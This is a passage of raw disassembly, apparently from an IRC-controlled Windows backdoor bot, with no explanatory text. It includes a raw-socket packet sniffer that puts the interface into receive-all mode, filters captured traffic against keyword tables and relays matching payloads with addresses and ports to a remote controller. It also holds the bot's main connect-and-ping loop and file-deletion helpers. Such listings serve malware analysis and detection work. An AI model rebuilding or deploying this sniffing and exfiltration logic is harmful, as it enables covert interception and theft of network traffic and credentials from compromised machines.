sub_410B73 add esp, 0Ch test eax, eax jnz short loc_410C49 loc_410C01: ; CODE XREF: sub_410BC3+29j cmp ebx, 2 jb short loc_410C19 push esi push edi push offset off_418B10 call sub_410B73 add esp, 0Ch test eax, eax jnz short loc_410C49 loc_410C19: ; CODE XREF: sub_410BC3+41j cmp ebx, 3 jb short loc_410C31 push esi push edi push offset off_418B84 call sub_410B73 add esp, 0Ch test eax, eax jnz short loc_410C49 loc_410C31: ; CODE XREF: sub_410BC3+59j cmp ebx, 4 jb short loc_410C4E push esi push edi push offset off_418BC8 call sub_410B73 add esp, 0Ch test eax, eax jz short loc_410C4E loc_410C49: ; CODE XREF: sub_410BC3+21j ; sub_410BC3+3Cj ... push 1 pop eax jmp short loc_410C50 ; --------------------------------------------------------------------------- loc_410C4E: ; CODE XREF: sub_410BC3+71j ; sub_410BC3+84j xor eax, eax loc_410C50: ; CODE XREF: sub_410BC3+89j pop edi pop esi pop ebx pop ebp retn sub_410BC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C55 proc near ; DATA XREF: sub_4110B4+76o var_199C = byte ptr -199Ch var_1993 = byte ptr -1993h var_1990 = dword ptr -1990h var_198C = dword ptr -198Ch var_970 = byte ptr -970h var_870 = byte ptr -870h var_770 = byte ptr -770h var_670 = byte ptr -670h var_4F0 = byte ptr -4F0h var_4EF = byte ptr -4EFh var_3F0 = dword ptr -3F0h var_3EC = dword ptr -3ECh var_3E8 = byte ptr -3E8h var_1E8 = byte ptr -1E8h var_5A = byte ptr -5Ah var_54 = byte ptr -54h var_50 = byte ptr -50h var_44 = byte ptr -44h var_40 = word ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_14 = byte ptr -14h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 199Ch call sub_411540 push ebx push esi push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_3F0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free mov al, [ebp+var_3E8] add esp, 10h neg al sbb eax, eax xor ebx, ebx lea ecx, [ebp+var_3E8] push ebx and eax, ecx push 3 push 2 mov [ebp+var_24], eax call dword_41222C ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+var_C], esi jz loc_41109F lea eax, [ebp+var_970] push 0FFh push eax call dword_412270 ; gethostname lea eax, [ebp+var_970] push eax call dword_41224C ; gethostbyname mov edi, eax cmp edi, ebx jz loc_411098 push 10h lea eax, [ebp+var_40] push ebx push eax call sub_4114E8 ; memset mov [ebp+var_40], 2 mov eax, [edi+0Ch] add esp, 0Ch mov eax, [eax] push 10h mov eax, [eax] mov [ebp+var_3C], eax lea eax, [ebp+var_40] push eax push esi call dword_41221C ; bind cmp eax, 0FFFFFFFFh jz loc_411098 push ebx lea eax, [ebp+var_44] push ebx push eax push ebx push ebx lea eax, [ebp+var_28] push 4 push eax push 98000001h push esi mov [ebp+var_28], 1 call dword_41226C ; WSAIoctl cmp eax, 0FFFFFFFFh jz loc_411098 push [ebp+var_3EC] mov eax, [ebp+var_3F0] push dword ptr [eax] lea eax, [ebp+var_1E8] push offset unk_418D94 push eax call sub_4096CB add esp, 10h xor eax, eax lea edi, [ebp+var_4EF] mov [ebp+var_4F0], bl push 3Fh mov [ebp+var_14], bl pop ecx mov [ebp+var_50], bl rep stosd stosw stosb xor eax, eax lea edi, [ebp+var_13] stosd stosb lea eax, [ebp+var_4F0] push eax call sub_4091A7 push eax call sub_4034DE pop ecx lea eax, [ebp+var_14] pop ecx push eax call sub_4091A7 push eax call sub_40357F pop ecx lea eax, [ebp+var_4F0] pop ecx push eax call dword_412254 ; inet_addr mov [ebp+var_20], eax lea eax, [ebp+var_14] push eax call sub_41151C ; atoi mov [ebp+var_30], eax xor eax, eax lea edi, [ebp+var_1B] mov [ebp+var_1C], bl stosd stosb pop ecx lea eax, [ebp+var_1C] push eax call sub_4091A7 push eax call sub_403530 mov eax, [ebp+var_3C] mov [ebp+var_8], eax lea eax, [ebp+var_1C] push eax call sub_41151C ; atoi add esp, 0Ch mov [ebp+var_2C], eax loc_410DF1: ; CODE XREF: sub_410C55+1F3j ; sub_410C55+43Bj push ebx lea eax, [ebp+var_199C] push 1028h push eax push esi call dword_412258 ; recv mov ecx, [ebp+var_3F0] cmp [ecx+4], ebx jnz loc_411098 cmp eax, 0FFFFFFFFh jz loc_411098 cmp eax, ebx jz loc_411098 mov [ebp+eax+var_199C], bl mov cl, [ebp+var_199C] and ecx, 0Fh lea edx, [ebp+var_199C] lea edi, [ebp+ecx*4+var_199C] mov ecx, edi sub ecx, edx cmp ecx, eax jnb short loc_410DF1 movzx ecx, byte ptr [edi+0Ch] shr ecx, 4 lea edx, [ebp+var_199C] lea esi, [edi+ecx*4] mov ecx, esi sub ecx, edx cmp ecx, eax jnb loc_41108D push esi call sub_4114BE ; strlen cmp [ebp+var_1993], 6 pop ecx mov [ebp+arg_0], eax jnz loc_41108D cmp [ebp+var_5A], bl jz short loc_410E91 mov eax, [ebp+var_8] cmp [ebp+var_198C], eax jnz loc_41108D loc_410E91: ; CODE XREF: sub_410C55+22Bj cmp [ebp+var_54], bl jz short loc_410EA5 mov eax, [ebp+var_8] cmp [ebp+var_1990], eax jnz loc_41108D loc_410EA5: ; CODE XREF: sub_410C55+23Fj mov ax, [edi] push eax call dword_412248 ; htons cmp ax, word ptr [ebp+var_2C] jnz short loc_410EC4 mov eax, [ebp+var_8] cmp [ebp+var_1990], eax jz loc_41108D loc_410EC4: ; CODE XREF: sub_410C55+25Ej mov ax, [edi] push eax call dword_412248 ; htons cmp ax, word ptr [ebp+var_30] jnz short loc_410EE3 mov eax, [ebp+var_20] cmp [ebp+var_1990], eax jz loc_41108D loc_410EE3: ; CODE XREF: sub_410C55+27Dj push [ebp+var_24] push [ebp+var_3EC] push [ebp+arg_0] push esi call sub_410BC3 add esp, 10h test eax, eax jz loc_41108D xor ecx, ecx cmp [ebp+arg_0], ebx jbe short loc_410F28 loc_410F07: ; CODE XREF: sub_410C55+2D1j cmp byte ptr [ecx+esi], 0Dh lea eax, [ecx+esi] jnz short loc_410F13 mov byte ptr [eax], 2Dh loc_410F13: ; CODE XREF: sub_410C55+2B9j cmp byte ptr [eax], 0Ah jnz short loc_410F1B mov byte ptr [eax], 3Eh loc_410F1B: ; CODE XREF: sub_410C55+2C1j cmp [eax], bl jnz short loc_410F22 mov byte ptr [eax], 2Eh loc_410F22: ; CODE XREF: sub_410C55+2C8j inc ecx cmp ecx, [ebp+arg_0] jb short loc_410F07 loc_410F28: ; CODE XREF: sub_410C55+2B0j xor eax, eax xor ecx, ecx cmp [esi], bl mov [ebp+arg_0], ecx jz short loc_410F4D loc_410F33: ; CODE XREF: sub_410C55+2F3j mov dl, [eax+esi] cmp dl, 7Fh jge short loc_410F44 cmp dl, 1Fh jle short loc_410F44 mov [ecx+esi], dl inc ecx loc_410F44: ; CODE XREF: sub_410C55+2E4j ; sub_410C55+2E9j inc eax cmp [eax+esi], bl jnz short loc_410F33 mov [ebp+arg_0], ecx loc_410F4D: ; CODE XREF: sub_410C55+2DCj mov al, [eax+esi] cmp ecx, ebx mov [ecx+esi], al jz loc_41108D push 100h push [ebp+var_1990] call dword_412230 ; inet_ntoa push eax lea eax, [ebp+var_870] push eax call sub_4059C2 add esp, 0Ch push 100h push [ebp+var_198C] call dword_412230 ; inet_ntoa push eax lea eax, [ebp+var_770] push eax call sub_4059C2 mov ax, [edi+2] add esp, 0Ch push eax call dword_412248 ; htons movzx eax, ax push eax lea eax, [ebp+var_770] push eax mov ax, [edi] push eax call dword_412248 ; htons movzx eax, ax push eax lea eax, [ebp+var_870] push eax lea eax, [ebp+var_670] push offset dword_418D60 push eax call sub_4114DC ; sprintf mov edi, eax mov eax, 180h sub eax, edi push eax lea eax, [ebp+edi+var_670] push esi push eax call sub_4059C2 add esp, 24h lea eax, [ebp+var_670] push eax lea eax, [ebp+var_1E8] push offset dword_413B6C push eax call sub_4096CB add esp, 0Ch push 3E8h call dword_4120A4 ; Sleep mov eax, [ebp+var_3F0] cmp [eax+4], ebx jnz short loc_411095 mov eax, 17Fh sub eax, edi mov edi, [ebp+arg_0] cmp eax, edi mov [ebp+var_4], eax jnb short loc_41108D add esi, eax loc_411038: ; CODE XREF: sub_410C55+436j push 180h lea eax, [ebp+var_670] push esi push eax call sub_4059C2 add esp, 0Ch lea eax, [ebp+var_670] push eax lea eax, [ebp+var_1E8] push offset dword_413B6C push eax call sub_4096CB add esp, 0Ch push 3E8h call dword_4120A4 ; Sleep mov eax, [ebp+var_3F0] cmp [eax+4], ebx jnz short loc_411095 mov eax, 17Fh add [ebp+var_4], eax add esi, eax cmp [ebp+var_4], edi jb short loc_411038 loc_41108D: ; CODE XREF: sub_410C55+20Bj ; sub_410C55+222j ... mov esi, [ebp+var_C] jmp loc_410DF1 ; --------------------------------------------------------------------------- loc_411095: ; CODE XREF: sub_410C55+3CEj ; sub_410C55+427j mov esi, [ebp+var_C] loc_411098: ; CODE XREF: sub_410C55+82j ; sub_410C55+B7j ... push esi call dword_412240 ; closesocket loc_41109F: ; CODE XREF: sub_410C55+59j push [ebp+var_3F0] call sub_406E6F pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_410C55 endp ; =============== S U B R O U T I N E ======================================= sub_4110B4 proc near ; CODE XREF: sub_407A76+643p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push 3ABh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_411138 cmp [esp+4+arg_4], 0 jz short loc_4110D9 push [esp+4+arg_4] call sub_41151C ; atoi pop ecx jmp short loc_4110DC ; --------------------------------------------------------------------------- loc_4110D9: ; CODE XREF: sub_4110B4+17j push 3 pop eax loc_4110DC: ; CODE XREF: sub_4110B4+23j mov [esi+4], eax mov eax, [esp+4+arg_8] test eax, eax jnz short loc_4110EC mov eax, offset byte_4191D0 loc_4110EC: ; CODE XREF: sub_4110B4+31j push edi push 200h push eax lea eax, [esi+8] push eax call sub_4059C2 mov edi, [esp+14h+arg_0] push 1A3h lea eax, [esi+208h] push edi push eax call sub_4114D0 ; memcpy xor eax, eax add esp, 18h cmp [edi+18Bh], al push dword ptr [esi+4] setz al push offset dword_418DC8 push eax push esi push offset sub_410C55 call sub_406D58 add esp, 14h pop edi loc_411138: ; CODE XREF: sub_4110B4+10j pop esi retn sub_4110B4 endp ; =============== S U B R O U T I N E ======================================= sub_41113A proc near ; CODE XREF: sub_4111BA+4p arg_0 = dword ptr 4 push offset aRb ; "rb" push [esp+4+arg_0] call sub_411506 ; fopen pop ecx test eax, eax pop ecx jz short loc_411159 push eax call sub_411500 ; fclose pop ecx push 1 pop eax retn ; --------------------------------------------------------------------------- loc_411159: ; CODE XREF: sub_41113A+12j xor eax, eax retn sub_41113A endp ; =============== S U B R O U T I N E ======================================= sub_41115C proc near ; CODE XREF: sub_407A76+763p arg_0 = dword ptr 4 push esi push offset aRb ; "rb" push [esp+8+arg_0] call sub_411506 ; fopen mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4111A5 push edi push 2 push 0 push esi call sub_411516 ; fseek push esi call sub_4114F4 ; ftell push 0 push 0 push esi mov edi, eax call sub_411516 ; fseek push esi call sub_411500 ; fclose mov eax, edi add esp, 20h inc eax neg eax sbb eax, eax and eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4111A5: ; CODE XREF: sub_41115C+15j xor eax, eax pop esi retn sub_41115C endp ; =============== S U B R O U T I N E ======================================= sub_4111A9 proc near ; CODE XREF: sub_4111BA+12p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4120B8 ; DeleteFileA neg eax sbb eax, eax neg eax retn sub_4111A9 endp ; =============== S U B R O U T I N E ======================================= sub_4111BA proc near ; CODE XREF: sub_402018+11Fp arg_0 = dword ptr 4 push [esp+arg_0] call sub_41113A test eax, eax pop ecx jz short loc_4111D8 push [esp+arg_0] call sub_4111A9 neg eax sbb eax, eax pop ecx inc eax retn ; --------------------------------------------------------------------------- loc_4111D8: ; CODE XREF: sub_4111BA+Cj xor eax, eax retn sub_4111BA endp ; =============== S U B R O U T I N E ======================================= sub_4111DB proc near ; CODE XREF: sub_407A76+5A6p arg_4 = dword ptr 8 mov eax, [esp+arg_4] push dword ptr [eax] call sub_40A64A pop ecx retn sub_4111DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4111E8 proc near ; CODE XREF: start+118j ; DATA XREF: start+113o var_12F4 = dword ptr -12F4h var_12F0 = dword ptr -12F0h var_12EC = byte ptr -12ECh var_115C = byte ptr -115Ch var_1128 = dword ptr -1128h var_1121 = byte ptr -1121h var_1120 = byte ptr -1120h var_101C = dword ptr -101Ch var_1018 = byte ptr -1018h var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4122A8 push offset sub_41175A mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_411540 push ebx push esi push edi mov [ebp+var_18], esp push 2 call dword_4120FC xor edi, edi mov [ebp+var_4], edi push dword_418E0C push dword_418E08 push 3AEh push dword_418E04 push edi push dword_418E00 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp+var_115C] push eax call sub_4114DC ; sprintf add esp, 20h mov [ebp+var_1128], edi loc_41125C: ; CODE XREF: sub_4111E8+287j cmp [ebp+var_1128], 0Ah jnz short loc_41126A call sub_4052DF loc_41126A: ; CODE XREF: sub_4111E8+7Bj push 3E8h call dword_4120A4 ; Sleep lea eax, [ebp+var_115C] push eax push edi push edi call dword_412100 mov [ebp+var_12F0], eax cmp eax, edi jz loc_411469 call dword_41206C ; RtlGetLastWin32Error test eax, eax jnz loc_411469 call sub_402D7B call sub_4045B7 call sub_406B98 call sub_40EAC4 call sub_40B31E call sub_40A42C push 10h mov esi, offset dword_418E00 push esi call sub_40B55F push 10h push esi call sub_40A606 push 10h push esi call sub_40A67C add esp, 18h call sub_40B480 mov dword_419FD0, eax call sub_40B480 mov dword_419FD4, eax call sub_40B480 mov dword_419FD8, eax call sub_40B480 mov dword_419FDC, eax push 104h lea eax, [ebp+var_1120] push eax push edi call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA test eax, eax jnz short loc_411337 loc_411324: ; CODE XREF: sub_4111E8+164j push offset byte_4191D0 push offset dword_419ECC call sub_4114B8 ; _mbscpy pop ecx pop ecx jmp short loc_41137D ; --------------------------------------------------------------------------- loc_411337: ; CODE XREF: sub_4111E8+13Aj lea eax, [ebp+var_1120] push eax call sub_4114BE ; strlen pop ecx loc_411344: ; CODE XREF: sub_4111E8+27Cj mov [ebp+var_12F4], eax cmp eax, edi jz short loc_411324 cmp [ebp+eax+var_1121], 5Ch jnz loc_411463 lea eax, [ebp+eax+var_1120] push eax mov esi, offset dword_419ECC push esi call sub_4114B8 ; _mbscpy push esi push offset dword_419FE0 call sub_4114B8 ; _mbscpy add esp, 10h loc_41137D: ; CODE XREF: sub_4111E8+14Dj call sub_4050D1 lea eax, [ebp+var_12EC] push eax push 202h call dword_412274 ; WSAStartup loc_411394: ; CODE XREF: sub_4111E8+253j push edi push edi push edi call sub_409522 add esp, 0Ch call sub_406A40 mov [ebp-1124h], edi mov [ebp+var_101C], edi loc_4113B0: ; CODE XREF: sub_4111E8+276j mov [ebp+var_4], 1 loc_4113B7: ; CODE XREF: sub_4111E8+209j ; sub_4111E8+211j push 0EA60h call sub_4091A7 push eax call sub_403E1F pop ecx pop ecx test eax, eax jnz short loc_4113FB cmp [ebp+var_101C], 19h jz short loc_411438 cmp [ebp+var_101C], 14h jnz short loc_4113F3 call sub_40B480 push eax push offset aPing08x ; "PING :%08X" call sub_4097DB pop ecx loc_4113F0: ; CODE XREF: sub_4111E8+24Ej pop ecx jmp short loc_4113B7 ; --------------------------------------------------------------------------- loc_4113F3: ; CODE XREF: sub_4111E8+1F5j inc [ebp+var_101C] jmp short loc_4113B7 ; --------------------------------------------------------------------------- loc_4113FB: ; CODE XREF: sub_4111E8+1E3j push 1000h lea eax, [ebp+var_1018] push eax call sub_4091A7 push eax call sub_403DB2 add esp, 0Ch mov [ebp-1124h], eax cmp eax, edi jz short loc_411438 cmp eax, 0FFFFFFFFh jz short loc_411438 mov [ebp+var_101C], edi lea eax, [ebp+var_1018] push eax call sub_40A407 jmp short loc_4113F0 ; --------------------------------------------------------------------------- loc_411438: ; CODE XREF: sub_4111E8+1ECj ; sub_4111E8+235j ... mov [ebp+var_4], edi jmp loc_411394 ; --------------------------------------------------------------------------- loc_411440: ; DATA XREF: .packed:004122B8o push offset aLoop ; "loop" push offset aMain ; "main" push [ebp+var_14] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_411456: ; DATA XREF: .packed:004122BCo mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_4], edi jmp loc_4113B0 ; --------------------------------------------------------------------------- loc_411463: ; CODE XREF: sub_4111E8+16Ej dec eax jmp loc_411344 ; --------------------------------------------------------------------------- loc_411469: ; CODE XREF: sub_4111E8+A4j ; sub_4111E8+B2j inc [ebp+var_1128] jmp loc_41125C sub_4111E8 endp ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh xor edi, edi cmp dword_4191D8, edi jz short loc_4114AC push offset dword_4190F8 push offset dword_418E50 call sub_409659 pop ecx pop ecx loc_4114AC: ; CODE XREF: .packed:00411499j call dword_412264 ; WSACleanup push edi call sub_41157C ; exit ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114B8 proc near ; CODE XREF: sub_401000+36p ; sub_401B81+61p ... jmp dword_41213C sub_4114B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114BE proc near ; CODE XREF: sub_40110A+64p ; sub_4014B0+Bp ... jmp dword_4121D0 sub_4114BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114C4 proc near ; CODE XREF: sub_4011C4+6Dp ; sub_4014B0+1Ap ... jmp dword_4121CC sub_4114C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114CA proc near ; CODE XREF: sub_4011C4+20p ; sub_4011C4+283p ... jmp dword_4121C8 sub_4114CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114D0 proc near ; CODE XREF: sub_4011C4+18p ; sub_401621+1Bp ... jmp dword_4121C4 sub_4114D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114D6 proc near ; CODE XREF: sub_4014B0+43p ; sub_401EA8+84p ... jmp dword_4121C0 sub_4114D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114DC proc near ; CODE XREF: sub_401571+97p ; sub_403EA9+170p ... jmp dword_4121BC sub_4114DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114E2 proc near ; CODE XREF: sub_401571+30p ; sub_401571+4Bp ... jmp dword_4121B8 sub_4114E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114E8 proc near ; CODE XREF: sub_401621+CFp ; sub_401621+DDp ... jmp dword_4121B4 sub_4114E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114EE proc near ; CODE XREF: sub_4018D5+8Ap ; sub_4027CB+45p ... jmp dword_4121B0 sub_4114EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114F4 proc near ; CODE XREF: sub_401985+150p ; sub_401B81+120p ... jmp dword_4121AC sub_4114F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4114FA proc near ; CODE XREF: sub_401985+122p ; sub_402018+166p ... jmp dword_4121A8 sub_4114FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411500 proc near ; CODE XREF: sub_401985+85p ; sub_401985+1D8p ... jmp dword_4121A4 sub_411500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411506 proc near ; CODE XREF: sub_401985+42p ; sub_401B81+F1p ... jmp dword_4121A0 sub_411506 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411510 proc near ; CODE XREF: sub_401B81+1EAp ; sub_401B81+232p ... jmp dword_41219C sub_411510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411516 proc near ; CODE XREF: sub_401B81+11Ap ; sub_401B81+12Bp ... jmp dword_412198 sub_411516 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41151C proc near ; CODE XREF: sub_401EA8+2Fp ; sub_401EA8+4Ep ... jmp dword_412194 sub_41151C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411522 proc near ; CODE XREF: sub_402018+DDp ; sub_408E1A+A2p ... jmp dword_412190 sub_411522 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411528 proc near ; CODE XREF: sub_402018+98p ; sub_402018+B8p ... jmp dword_41218C sub_411528 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41152E proc near ; CODE XREF: sub_402018+47p ; sub_40311D+1Fp ... jmp dword_412188 sub_41152E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411540 proc near ; CODE XREF: sub_402EFD+8p ; sub_403E1F+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_411560 loc_41154C: ; CODE XREF: sub_411540+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41154C loc_411560: ; CODE XREF: sub_411540+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_411540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411570 proc near ; CODE XREF: sub_40324A+Dp ; sub_40324A+26p ... jmp dword_412184 sub_411570 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411576 proc near ; CODE XREF: sub_404639:loc_404679p jmp dword_412180 sub_411576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41157C proc near ; CODE XREF: sub_4050D1+209p ; .packed:004114B3p jmp dword_41217C sub_41157C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411590 proc near ; CODE XREF: sub_405ECC+53p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4115B1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_411601 ; --------------------------------------------------------------------------- loc_4115B1: ; CODE XREF: sub_411590+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4115BF: ; CODE XREF: sub_411590+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4115BF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_4115EA cmp edx, [esp+4+arg_4] ja short loc_4115EA jb short loc_4115F2 cmp eax, [esp+4+arg_0] jbe short loc_4115F2 loc_4115EA: ; CODE XREF: sub_411590+4Aj ; sub_411590+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_4115F2: ; CODE XREF: sub_411590+52j ; sub_411590+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_411601: ; CODE XREF: sub_411590+1Fj pop ebx retn 10h sub_411590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411610 proc near ; CODE XREF: sub_405ECC+2Fp ; sub_405ECC+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_411632 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_411673 ; --------------------------------------------------------------------------- loc_411632: ; CODE XREF: sub_411610+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_411640: ; CODE XREF: sub_411610+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_411640 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41166E cmp edx, [esp+8+arg_4] ja short loc_41166E jb short loc_41166F cmp eax, [esp+8+arg_0] jbe short loc_41166F loc_41166E: ; CODE XREF: sub_411610+4Ej ; sub_411610+54j dec esi loc_41166F: ; CODE XREF: sub_411610+56j ; sub_411610+5Cj xor edx, edx mov eax, esi loc_411673: ; CODE XREF: sub_411610+20j pop esi pop ebx retn 10h sub_411610 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411678 proc near ; CODE XREF: sub_4063E4+171p ; sub_406A40+5Ap ... jmp dword_412178 sub_411678 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411680 proc near ; CODE XREF: sub_4067B2+5Fp ; sub_40682C+A6p cmp cl, 40h jnb short loc_41169A cmp cl, 20h jnb short loc_411690 shrd eax, edx, cl shr edx, cl retn ; --------------------------------------------------------------------------- loc_411690: ; CODE XREF: sub_411680+8j mov eax, edx xor edx, edx and cl, 1Fh shr eax, cl retn ; --------------------------------------------------------------------------- loc_41169A: ; CODE XREF: sub_411680+3j xor eax, eax xor edx, edx retn sub_411680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4116A0 proc near ; CODE XREF: sub_406A40+53p ; sub_406AB7+53p ... jmp dword_412174 sub_4116A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4116B0 proc near ; CODE XREF: sub_406A40+40p ; sub_406AB7+40p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_4116D1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_4116D1: ; CODE XREF: sub_4116B0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_4116ED inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_4116ED: ; CODE XREF: sub_4116B0+27j or eax, eax jnz short loc_411709 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41174A ; --------------------------------------------------------------------------- loc_411709: ; CODE XREF: sub_4116B0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_411717: ; CODE XREF: sub_4116B0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_411717 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_411745 cmp edx, [esp+0Ch+arg_4] ja short loc_411745 jb short loc_411746 cmp eax, [esp+0Ch+arg_0] jbe short loc_411746 loc_411745: ; CODE XREF: sub_4116B0+85j ; sub_4116B0+8Bj dec esi loc_411746: ; CODE XREF: sub_4116B0+8Dj ; sub_4116B0+93j xor edx, edx mov eax, esi loc_41174A: ; CODE XREF: sub_4116B0+57j dec edi jnz short loc_411754 neg edx neg eax sbb edx, 0 loc_411754: ; CODE XREF: sub_4116B0+9Bj pop ebx pop esi pop edi retn 10h sub_4116B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41175A proc near ; DATA XREF: sub_406BBC+Ao ; sub_406CB2+Ao ... jmp dword_412170 sub_41175A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411760 proc near ; CODE XREF: sub_406C5D+31p ; sub_406D58+D0p jmp dword_41216C sub_411760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411766 proc near ; CODE XREF: sub_406D58+A4p jmp dword_412168 sub_411766 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41176C proc near ; CODE XREF: sub_407237+B0p ; sub_407237+B6p ... jmp dword_412164 sub_41176C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411772 proc near ; CODE XREF: sub_407237+3Ep ; sub_407237+62p jmp dword_412160 sub_411772 endp ; =============== S U B R O U T I N E 